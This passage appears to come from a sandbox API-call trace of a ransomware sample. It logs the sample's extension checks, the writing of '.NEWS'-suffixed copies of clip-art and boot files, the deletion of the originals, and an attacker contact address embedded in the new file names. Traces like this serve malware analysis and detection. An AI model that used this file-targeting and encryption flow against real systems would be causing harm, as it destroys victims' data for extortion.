(lpString=".xls") returned 4 [0272.396] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.396] lstrlenW (lpString=".xlsx") returned 5 [0272.396] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.396] lstrlenW (lpString=".ppt") returned 4 [0272.396] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.396] lstrlenW (lpString=".zip") returned 4 [0272.396] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.396] lstrlenW (lpString=".rar") returned 4 [0272.396] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.396] lstrlenW (lpString=".bz2") returned 4 [0272.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.396] lstrlenW (lpString=".7z") returned 3 [0272.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.397] lstrlenW (lpString=".dbf") returned 4 [0272.397] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.397] lstrlenW (lpString=".1cd") returned 4 [0272.397] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.397] lstrlenW (lpString=".jpg") returned 4 [0272.397] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.397] lstrlenW (lpString=".doc") returned 4 [0272.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.398] lstrlenW (lpString=".docx") returned 5 [0272.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.398] lstrlenW (lpString=".pdf") returned 4 [0272.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.398] lstrlenW (lpString=".xls") returned 4 [0272.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.398] lstrlenW (lpString=".xlsx") returned 5 [0272.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.399] lstrlenW (lpString=".ppt") returned 4 [0272.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.399] lstrlenW (lpString=".zip") returned 4 [0272.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.399] lstrlenW (lpString=".rar") returned 4 [0272.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.399] lstrlenW (lpString=".bz2") returned 4 [0272.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.399] lstrlenW (lpString=".7z") returned 3 [0272.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.400] lstrlenW (lpString=".dbf") returned 4 [0272.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.401] lstrlenW (lpString=".1cd") returned 4 [0272.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0272.401] lstrlenW (lpString=".jpg") returned 4 [0272.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.402] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.402] lstrlenW (lpString="BS00453_.WMF") returned 12 [0272.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.403] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=2436) returned 1 [0272.403] CloseHandle (hObject=0x3c8) returned 1 [0272.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0272.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.404] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.404] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0272.405] GetLastError () returned 0x0 [0272.406] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x984, lpOverlapped=0x0) returned 1 [0272.780] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x990, lpOverlapped=0x0) returned 1 [0272.783] ReadFile (in: hFile=0x3c8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0272.783] WriteFile (in: hFile=0x1cc, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.784] SetEndOfFile (hFile=0x1cc) returned 1 [0272.784] CloseHandle (hObject=0x1cc) returned 1 [0272.784] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.785] SetEndOfFile (hFile=0x3c8) returned 1 [0272.793] CloseHandle (hObject=0x3c8) returned 1 [0272.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0272.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.953] lstrlenW (lpString=".doc") returned 4 [0272.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.953] lstrlenW (lpString=".docx") returned 5 [0272.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.954] lstrlenW (lpString=".pdf") returned 4 [0272.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.954] lstrlenW (lpString=".xls") returned 4 [0272.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.954] lstrlenW (lpString=".xlsx") returned 5 [0272.954] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.954] lstrlenW (lpString=".ppt") returned 4 [0272.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.955] lstrlenW (lpString=".zip") returned 4 [0272.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.955] lstrlenW (lpString=".rar") returned 4 [0272.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.955] lstrlenW (lpString=".bz2") returned 4 [0272.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.955] lstrlenW (lpString=".7z") returned 3 [0272.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.955] lstrlenW (lpString=".dbf") returned 4 [0272.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.956] lstrlenW (lpString=".1cd") returned 4 [0272.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.956] lstrlenW (lpString=".jpg") returned 4 [0272.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.956] lstrlenW (lpString=".doc") returned 4 [0272.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.957] lstrlenW (lpString=".docx") returned 5 [0272.957] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.957] lstrlenW (lpString=".pdf") returned 4 [0272.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.957] lstrlenW (lpString=".xls") returned 4 [0272.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.957] lstrlenW (lpString=".xlsx") returned 5 [0272.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.957] lstrlenW (lpString=".ppt") returned 4 [0272.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.958] lstrlenW (lpString=".zip") returned 4 [0272.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.958] lstrlenW (lpString=".rar") returned 4 [0272.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.958] lstrlenW (lpString=".bz2") returned 4 [0272.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.958] lstrlenW (lpString=".7z") returned 3 [0272.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.958] lstrlenW (lpString=".dbf") returned 4 [0272.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.959] lstrlenW (lpString=".1cd") returned 4 [0272.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0272.959] lstrlenW (lpString=".jpg") returned 4 [0272.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.959] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0272.959] lstrlenW (lpString="BS01636_.WMF") returned 12 [0272.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.960] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=1874) returned 1 [0272.960] CloseHandle (hObject=0x3c8) returned 1 [0272.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0272.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0272.962] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.963] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0272.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0272.963] GetLastError () returned 0x0 [0272.963] ReadFile (hFile=0x3c8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0) Thread: id = 70 os_tid = 0x658 [0193.633] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a60490 [0193.634] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a70498 [0193.635] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c40 [0193.635] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930f30 [0193.635] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c58 [0193.635] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3e40020 [0193.636] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c70 [0193.636] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4c70, Size=0x20) returned 0x8d32b0 [0193.636] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c70 [0193.636] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4c70, Size=0x20) returned 0x8d3288 [0193.637] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.637] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.637] Wow64DisableWow64FsRedirection (in: OldValue=0x32eff58 | out: OldValue=0x32eff58*=0x0) returned 1 [0193.637] lstrlenW (lpString="kernel32.dll") returned 12 [0193.637] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.637] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.637] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.637] Sleep (dwMilliseconds=0x64) [0193.839] Sleep (dwMilliseconds=0x64) [0194.852] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.852] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.852] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.853] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=87616) returned 1 [0194.853] CloseHandle (hObject=0x1f4) returned 1 [0194.853] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0194.853] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.853] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.854] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.854] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.854] lstrlenW (lpString=".doc") returned 4 [0194.854] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.854] lstrlenW (lpString=".docx") returned 5 [0194.854] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.854] lstrlenW (lpString=".pdf") returned 4 [0194.854] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.854] lstrlenW (lpString=".xls") returned 4 [0194.854] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.854] lstrlenW (lpString=".xlsx") returned 5 [0194.854] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.855] lstrlenW (lpString=".ppt") returned 4 [0194.855] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.855] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.855] lstrlenW (lpString=".zip") returned 4 [0194.855] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.855] lstrlenW (lpString=".rar") returned 4 [0194.855] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.855] lstrlenW (lpString=".bz2") returned 4 [0194.855] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.855] lstrlenW (lpString=".7z") returned 3 [0194.855] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.855] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.855] lstrlenW (lpString=".dbf") returned 4 [0194.856] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.856] lstrlenW (lpString=".1cd") returned 4 [0194.856] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.856] lstrlenW (lpString=".jpg") returned 4 [0194.856] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.857] lstrlenW (lpString=".doc") returned 4 [0194.857] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.857] lstrlenW (lpString=".docx") returned 5 [0194.857] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.857] lstrlenW (lpString=".pdf") returned 4 [0194.857] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.857] lstrlenW (lpString=".xls") returned 4 [0194.857] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.857] lstrlenW (lpString=".xlsx") returned 5 [0194.857] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.857] lstrlenW (lpString=".ppt") returned 4 [0194.858] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.858] lstrlenW (lpString=".zip") returned 4 [0194.858] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.858] lstrlenW (lpString=".rar") returned 4 [0194.858] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.858] lstrlenW (lpString=".bz2") returned 4 [0194.858] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.858] lstrlenW (lpString=".7z") returned 3 [0194.858] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.858] lstrlenW (lpString=".dbf") returned 4 [0194.859] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.859] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.859] lstrlenW (lpString=".1cd") returned 4 [0194.859] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.859] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0194.859] lstrlenW (lpString=".jpg") returned 4 [0194.859] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.860] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.860] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.860] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.860] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=91712) returned 1 [0194.860] CloseHandle (hObject=0x1f4) returned 1 [0194.861] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0194.861] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.861] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.861] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.861] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.861] lstrlenW (lpString=".doc") returned 4 [0194.861] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.861] lstrlenW (lpString=".docx") returned 5 [0194.862] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.862] lstrlenW (lpString=".pdf") returned 4 [0194.862] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.862] lstrlenW (lpString=".xls") returned 4 [0194.862] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.862] lstrlenW (lpString=".xlsx") returned 5 [0194.862] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.862] lstrlenW (lpString=".ppt") returned 4 [0194.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.863] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.863] lstrlenW (lpString=".zip") returned 4 [0194.863] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.863] lstrlenW (lpString=".rar") returned 4 [0194.863] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.863] lstrlenW (lpString=".bz2") returned 4 [0194.863] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.864] lstrlenW (lpString=".7z") returned 3 [0194.864] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.864] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.864] lstrlenW (lpString=".dbf") returned 4 [0194.864] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.864] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.864] lstrlenW (lpString=".1cd") returned 4 [0194.864] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.864] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.864] lstrlenW (lpString=".jpg") returned 4 [0194.864] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.865] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.865] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.865] lstrlenW (lpString=".doc") returned 4 [0194.865] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.865] lstrlenW (lpString=".docx") returned 5 [0194.865] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.865] lstrlenW (lpString=".pdf") returned 4 [0194.865] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.865] lstrlenW (lpString=".xls") returned 4 [0194.865] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.865] lstrlenW (lpString=".xlsx") returned 5 [0194.866] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.866] lstrlenW (lpString=".ppt") returned 4 [0194.866] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.866] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.866] lstrlenW (lpString=".zip") returned 4 [0194.866] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.866] lstrlenW 